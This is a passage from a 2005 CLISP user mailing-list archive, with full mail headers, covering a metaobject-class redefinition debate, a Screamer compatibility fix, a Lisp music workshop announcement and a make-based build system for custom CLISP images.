,@result)))))) > ******* (incf elt)) > here! ---> (t > ******* ;; > ;; This is a subgroup repeated so I must build > ;; the loop using several values. > ;; > )) (compile nil (lambda (z) (cond ((numberp z) (sin z)) (t )))) # ; NIL ; NIL could you please extract an isolated test case? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between theory and practice is that in theory there isn't any. From taube@uiuc.edu Mon Jun 13 03:49:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DhmVq-0000X9-Ef for clisp-list@lists.sourceforge.net; Mon, 13 Jun 2005 03:49:50 -0700 Received: from smtp812.mail.sc5.yahoo.com ([66.163.170.82]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DhmVo-0000Kz-VE for clisp-list@lists.sourceforge.net; Mon, 13 Jun 2005 03:49:50 -0700 Received: (qmail 28151 invoked from network); 13 Jun 2005 10:49:42 -0000 Received: from unknown (HELO ?10.0.1.3?) (rick.taube@sbcglobal.net@69.212.102.99 with plain) by smtp812.mail.sc5.yahoo.com with SMTP; 13 Jun 2005 10:49:42 -0000 Mime-Version: 1.0 (Apple Message framework v622) Content-Transfer-Encoding: quoted-printable Message-Id: <089610efe322333a30bfa6f975d4898d@uiuc.edu> Content-Type: text/plain; charset=ISO-8859-1; delsp=yes; format=flowed To: sbcl-devel@lists.sourceforge.net, gauche-devel@lists.sourceforge.net, openmcl-devel , stklos@essi.fr, list CM , CLISP List From: Rick Taube X-Mailer: Apple Mail (2.622) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Fwd: CCRMA Lisp Music Workshop -- Final Announcement Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 13 03:52:22 2005 X-Original-Date: Mon, 13 Jun 2005 05:49:40 -0500 Ive been asked to forward this announcement to appropriate mailing =20 lists. Rick Taube Associate Professor, Composition/Theory School of Music University of Illinois, Urbana IL 61821 USA Begin forwarded message: > = _______________________________________________________________________=20= > _________ > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0 *** FINAL ANNOUNCEMENT *** > =A0=A0=A0=A0=A0 CCRMA Lisp Music Workshop 2005 -- June 23-25 at = Stanford =20 > University > =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 International Lisp = Conference 2005 -- June 19-22 > =20 > = _______________________________________________________________________=20= > _________ > > We cordially invite you to join us for a week of activities devoted =20= > to Lisp and > Scheme-related music production at Stanford, June 19-25. > > Stanford's Center for Computer Research in Music and Acoustics =20 > (CCRMA) will host > a three-day LISP MUSIC WORKSHOP at Stanford University June 23-25.=A0 = =20 > This unique > symposium immediately follows the International Lisp Conference 2005 =20= > (ILC 2005), > which convenes at Stanford University June 19-22.=A0 Details about = ILC =20 > 2005 may be > found at:=A0 http://INTERNATIONAL-LISP-CONFERENCE.ORG/ > > Schedule, registration, payment, and housing information for the 2005 = =20 > CCRMA Lisp > Music Workshop may be found at: > > =A0=A0=A0=A0=A0=A0=A0 http://CCRMA.STANFORD.EDU/LISP-MUSIC-WORKSHOP > > The CCRMA Lisp Music Workshop 2005 brings together noted composers, =20= > performers, > scientists and technologists engaged in Lisp and Scheme-based music =20= > production > and research.=A0 Three days of invited lectures, seminars and = tutorials =20 > will be > presented between Thursday, June 23 and Saturday, June 25. > > The Workshop will host two concerts of music composed and/or =20 > electronically > realized using Lisp-based software.=A0 The first concert is on Monday = =20 > evening, > June 20 on the opening night of ILC 2005 in Stanford's Dinkelspiel =20= > Auditorium.=A0 > This concert features the Ives Quartet playing works in historical =20= > styles > composed by David Cope's (EMI) Experiments in Musical Intelligence =20= > program. > Compositions by Roger Dannenberg, Mary Simoni, Heinrich Taube and =20 > Fernando > Lopez-Lezcano will also be presented.=A0 A second concert on Thursday = =20 > evening, > June 23 will feature new works of Stanford composers. > > Technical content of the Workshop includes two half-day mini-symposia = =20 > devoted > to Musical Knowledge Representation, and Real-Time Signal Processing =20= > in Lisp > and Scheme.=A0 Tutorials on Common Music (CM), Common Lisp Music = (CLM), =20 > Nyquist, > and Prolog are scheduled to be presented by key developers of these =20= > software > tools. > > Invited Lisp Music Workshop speakers include: > > John Amuedo, founder of Signal Inference Corp. and the Music =20 > Cognition Group, > =A0 M.I.T. Artificial Intelligence Laboratory > Chris Chafe, Prof. of Music and Director of CCRMA, Stanford = University > David Cope, Prof. of Music at U.C. Santa Cruz and author of the =20 > Experiments in > =A0 Musical Intelligence (EMI) automated composition program > Roger Dannenberg, Assoc. Research Prof. of Computer Science and Art = at > =A0 Carnegie-Mellon University; author of the Nyquist signal = processing =20 > language > William Kornfeld, Founder of Quintus Software and the Music Cognition = =20 > Group, > =A0 M.I.T. Artificial Intelligence Laboratory > Randal Leistikow, Stanford CCRMA > Fernando Lopez-Lezcano, SysAdmin/Lecturer at Stanford CCRMA > Heinrich Taube -- Assoc. Prof. of Music Composition and Theory at =20 > University > =A0 of Illinois, Urbana-Champaign and author of the Common Music =20 > language > Mary Simoni -- Associate Professor of Music Technology, Univ. of =20 > Michigan, > =A0 Ann Arbor > > A small number of vacancies remain before the 2005 CCRMA Lisp Music =20= > Workshop > reaches capacity and registration must close. > > We look forward to you joining us for this week of Lisp-related =20 > activities at > Stanford. > > WORKSHOP HOSTS > > John Amuedo, ILC 2005 Organizing Committee > Chris Chafe, Director of CCRMA > Bruno Ruviaro, CCRMA > > =20 > = _______________________________________________________________________=20= > _________ > From bruno@clisp.org Mon Jun 13 04:37:23 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DhnFo-0002mg-5p for clisp-list@lists.sourceforge.net; Mon, 13 Jun 2005 04:37:20 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DhnFl-0000w1-I2 for clisp-list@lists.sourceforge.net; Mon, 13 Jun 2005 04:37:20 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j5DBb8Jh008781 for ; Mon, 13 Jun 2005 13:37:09 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.124]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j5DBb3Bu021916; Mon, 13 Jun 2005 13:37:03 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id E1E1337AD0; Mon, 13 Jun 2005 11:35:49 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: <200506102134.55987.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506131335.48953.bruno@clisp.org> X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 13 04:39:36 2005 X-Original-Date: Mon, 13 Jun 2005 13:35:48 +0200 Sam wrote: > > What the user is doing wrong, is to attempt to redefine a metaobject > > class. A subclass of STANDARD-CLASS is a "metaobject class" (see the MOP > > p. 3), and the MOP says "metaobject classes may not be redefined" (p. > > 57). > > the redefinition is semantically equivalent to the original definition > and should be permitted. Neither ANSI CL nor the MOP have the notion of "semantically equivalent" class definitions. If they did, the MOP would need to have one more generic function, for detecting when two direct-slot objects are equivalent. > this is the issue of being nice to the user. This is precisely why clisp gives only a warning, not an error :-) > > How to avoid it? Put the definitions of metaobject classes into a > > separate file, and only ever load it once per session. > > this is an excessive requirement. > the users will not like it. The MOP specifies it. > "once per session" contradicts the lisp idea that you restart your > session only if something horrible happens. Redefining metaclasses is something horrible. A thing that should be avoided. Bruno From bruno@clisp.org Mon Jun 13 04:46:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DhnOj-0003FS-8M for clisp-list@lists.sourceforge.net; Mon, 13 Jun 2005 04:46:33 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DhnOi-0002MK-I0 for clisp-list@lists.sourceforge.net; Mon, 13 Jun 2005 04:46:33 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j5DBkGeb009086; Mon, 13 Jun 2005 13:46:16 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.124]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j5DBkBo0022385; Mon, 13 Jun 2005 13:46:11 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 7FAA037AD0; Mon, 13 Jun 2005 11:44:57 +0000 (UTC) From: Bruno Haible To: Dan Corkill , Dan Corkill Subject: Re: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <200506102306.31306.bruno@clisp.org> <42AAE576.1040602@comcast.net> In-Reply-To: <42AAE576.1040602@comcast.net> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506131344.56436.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 13 04:50:24 2005 X-Original-Date: Mon, 13 Jun 2005 13:44:56 +0200 Dan Corkill wrote: > Two files: si1.lisp with the metaobject class definition and :around > method and > si2.lisp with only the definition of class foo. Yes, IMO that's the correct way to structure the source code. > Now, even if the makesystem knows not to load si1 if it has been compiled > in the image: That's never a valid assumption. The compiler is allowed to execute the DEFCLASS and DEFMACRO forms in a separate "compiler-only" environment that is not seen in the normal EVAL-WHEN (EVAL LOAD) processing. Also, your si1.lisp contains a DEFMETHOD form, which, like DEFUN, never has an implicit EVAL-WHEN (COMPILE). > [1]> (compile-file "si1") > ;; Compiling file /home/cork/si1.lisp ... > ;; Wrote file /home/cork/si1.fas > 0 errors, 0 warnings > #P"/home/cork/si1.fas" ; > NIL ; > NIL > [2]> (compile-file "si2") > ;; Compiling file /home/cork/si2.lisp ... > ;; Wrote file /home/cork/si2.fas > 0 errors, 0 warnings > #P"/home/cork/si2.fas" ; > NIL ; > NIL > [3]> (load "si2") > ;; Loading file /home/cork/si2.fas ... > ;; Loaded file /home/cork/si2.fas > T Invalid: You cannot load si2 before having loaded si1. You really need two process invocations: $ clisp -q [1]> (compile-file "si1") $ clisp -q [1]> (load "si1") [2]> (compile-file "si2") [3]> (load "si2") Bruno From Joerg-Cyril.Hoehle@t-systems.com Mon Jun 13 09:09:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DhrV5-0000hO-Nb for clisp-list@lists.sourceforge.net; Mon, 13 Jun 2005 09:09:23 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DhrV4-0004dY-Hk for clisp-list@lists.sourceforge.net; Mon, 13 Jun 2005 09:09:23 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Mon, 13 Jun 2005 15:38:24 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 13 Jun 2005 15:37:31 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03049BA020@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: bruno@clisp.org, corkill@gbbopen.org, dancorkill@comcast.net Subject: Re: [clisp-list] Re: shared-initialize & "Redefining metaobject c lass" warning MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 13 09:11:54 2005 X-Original-Date: Mon, 13 Jun 2005 15:37:28 +0200 Hi, Bruno Haible wrote: >Invalid: You cannot load si2 before having loaded si1. >You really need two process invocations: > $ clisp -q > [1]> (compile-file "si1") > > $ clisp -q > [1]> (load "si1") > [2]> (compile-file "si2") > [3]> (load "si2") While it may seem useful to point at the MOP to defend this = recommendation (obligation), such argumentation is IMHO pointless in = practice. Practice will be that 1. some libraries like cl-sql do defclass+metaclasse+load don't do that 2. make system utilities (neither mk nor asdf) are not prepared for = restarting the Lisp to continue compilation 3. cl-sql users will expect code to work out of the box 4. developers will be unlikely to support deviant behaviour from the = particular CLISP implementation. It remembers me of the ext:*keyboard-input* from the SCREEN package, = which has been specified as causing the console to become input only = for the extent of with-keyboard-input. On UNIX, people saw that output to *terminal-io* still worked. So they = (or the package they ported) used it (IIRC, punimax was/is such a = package). [Actually, I may remember incorrectly, and input from *terminal-io* was = (has always been?) forbidden by impnotes, not output, but that changes = nothing to the lesson.] On the Amiga, this failed (IIRC, the UNIX implementation would switch = back *terminal-io* from raw to cooked mode automatically and back again = to raw mode for *keyboard-input*). Do you really believe that I was successful at pointing people to the = clisp impnotes which clearly showed that their code was illegal = according to impnotes?? Usually, if "it works for me", people will ignore the impnotes & = specification. Regards, J=C3=B6rg H=C3=B6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Jun 14 07:29:08 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DiCPY-00008I-Vx for clisp-list@lists.sourceforge.net; Tue, 14 Jun 2005 07:29:04 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DiCPX-0007ro-Aq for clisp-list@lists.sourceforge.net; Tue, 14 Jun 2005 07:29:04 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Tue, 14 Jun 2005 16:29:04 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 14 Jun 2005 16:28:21 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03049BA280@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kevin@rosenberg.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] screamer and clisp>2.33.2? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 14 07:29:50 2005 X-Original-Date: Tue, 14 Jun 2005 16:28:18 +0200 Hi, did anybody use the Screamer package with clisp>2.33.2? I have from Ubuntu/Debian on Linux/386 the packages cl-screamer = 3.24.2-1 and clisp-2.33.2 Screamer loads fine with these. However, when I use the clisp I built from CVS, I get an error message "special-operator-p (setf variable-value) is not a symbol" which cleary shows that Screamer does not recognize clisp's special ((setf foo) zot bar) syntax as a result of (macroexpand '(setf (foo bar) zot)) Which is somewhat surprising, since this "(setf foo) is a function name = in all aspects in CLISP" behaviour is not new to version >2.33.2. It's = quite old in CLISP. What maybe new is that it's only in clisp>2.33.2 that the above = expansion takes place as shown above. In an older one (2.33.2), = macroexpand is less clever, and one gets (let ((#:g123 bar)) ((setf foo) zot #:g123)) [for more complex situations, e.g. (setf (foo (bar)) (zot)), one still = gets that form -- order of evaluation is not broken] Maybe that change is enough to cause Screamer to fail -- still it's = surprising that it did not fail before. Probably Screamer need be taught about how to handle (setf foo), like I = had to do for the Iterate package (I haven't yet found the = corresponding place in the code). Regards, J=C3=B6rg H=C3=B6hle. From sds@gnu.org Tue Jun 14 09:31:33 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DiEK5-0007Q5-8V for clisp-list@lists.sourceforge.net; Tue, 14 Jun 2005 09:31:33 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DiEK0-0005xA-Mg for clisp-list@lists.sourceforge.net; Tue, 14 Jun 2005 09:31:33 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.10) by smtp04.mrf.mail.rcn.net with ESMTP; 14 Jun 2005 12:31:26 -0400 X-IronPort-AV: i="3.93,198,1115006400"; d="scan'208"; a="47005403:sNHT43916934" To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03049BA280@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 14 Jun 2005 16:28:18 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A03049BA280@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: screamer and clisp>2.33.2? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 14 09:32:12 2005 X-Original-Date: Tue, 14 Jun 2005 12:30:48 -0400 > * Hoehle, Joerg-Cyril [2005-06-14 16:28:18 +0200]: > > "special-operator-p (setf variable-value) is not a symbol" I fixed screamer. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k In every non-trivial program there is at least one bug. From kaz@footprints.net Tue Jun 14 14:51:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DiJJN-0000OS-6A for clisp-list@lists.sourceforge.net; Tue, 14 Jun 2005 14:51:09 -0700 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.41) id 1DiJJK-0001cq-LK for clisp-list@lists.sourceforge.net; Tue, 14 Jun 2005 14:51:09 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 4.34) id 1DiJJH-0005VQ-JD for clisp-list@lists.sourceforge.net; Tue, 14 Jun 2005 14:51:03 -0700 From: Kaz Kylheku To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: ANN: new build system for linking sets. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 14 14:52:05 2005 X-Original-Date: Tue, 14 Jun 2005 14:51:03 -0700 (PDT) I have created a new system for building custom CLISP memory images and executables, similar to the functionality of ``clisp-link add-module-set''. I didn't write it in Lisp, sorry! The new system comes in the form of a single GNU make include file, which handles everything through proper dependencies and very little shell script hacking. No symbolic links are used anywhere: all compiling and linking is done using full and relative paths. Proper dependencies are set up between all the pieces. The rules handle invoking the compiler to get the FFI definitions translated, compiling all the .lisp files to .fas (the ones going into the lispinit.mem). Two-step memory image boostrapping is supported, analogous to the TO_PRELOAD mechanism in clisp-link, so call-in references to packaged functions can be handled. Libraries and CFLAGS are pulled out of the makevars file in the source linking set, and converted into a proper make include file, in which they appear as target-specific variable assignments. The makefile is namespace-clean: multiple, independent instantiations of the rules in the same make process should be possible. So now, it's super easy to add a custom CLISP to an exiting makefile-based project. No special directory structure to set up. No symbolic links. No awkward scripts to invoke, nothing. Plus if you mess with anything, the dependencies take care of rebuilding what is needed. Just set up a bunch of variables in your makefile, include clink.mk, hook the targets into your dependencies and you're done. What is not done: the output is not a complete CLISP linking set that can be used as an input to create more linking sets. It doesn't contain a makevars, and it doesn't contain the archives that it was built from. Just the lisp.run and lispinit.mem! (But in practice, people usually just care about doing one step: take the stock thing and add the FFI stuff for their application). Get it now: http://users.footprints.net/~kaz/clink-0.1.tar.gz This archive includes the clink.mk as part of a tiny working sample project. Please try, discuss, change, improve ... -- Meta-CVS: the working replacement for CVS that has been stable since 2002. It versions the directory structure, symbolic links and execute permissions. It figures out renaming on import. Plus it babysits the kids and does light housekeeping! http://freshmeat.net/projects/mcvs From Joerg-Cyril.Hoehle@t-systems.com Wed Jun 15 03:42:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DiVLM-0006oi-Vv for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 03:42:01 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DiVLL-0005Ey-87 for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 03:42:00 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 12:41:14 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 15 Jun 2005 12:41:05 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03049BA3C9@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] AW: screamer and clisp>2.33.2? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 15 03:43:32 2005 X-Original-Date: Wed, 15 Jun 2005 12:41:03 +0200 Sam Steingold wrote: >I fixed screamer. Great! What's the relationship with http://clocc.sourceforge.net/clocc/src/screamer/ It does not show the new code, while the CVS viewer does. Regards, Jorg Hohle. From sds@gnu.org Wed Jun 15 06:31:22 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DiXzG-0007d5-GV for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 06:31:22 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DiXzC-0000ig-Ql for clisp-list@lists.sourceforge.net; Wed, 15 Jun 2005 06:31:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5FDV8kf011104; Wed, 15 Jun 2005 09:31:08 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03049BA3C9@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Wed, 15 Jun 2005 12:41:03 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A03049BA3C9@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: AW: screamer and clisp>2.33.2? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jun 15 06:32:05 2005 X-Original-Date: Wed, 15 Jun 2005 09:30:32 -0400 > * Hoehle, Joerg-Cyril [2005-06-15 12:41:03 +0200]: > > What's the relationship with > http://clocc.sourceforge.net/clocc/src/screamer/ > It does not show the new code, while the CVS viewer does. there should be a cron job with "cvs up". please complain to Stefan Kain. -- Sam Steingold (http://www.podval.org/~sds) running w2k When you are arguing with an idiot, your opponent is doing the same. From Joerg-Cyril.Hoehle@t-systems.com Wed Jun 15 09:46:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) 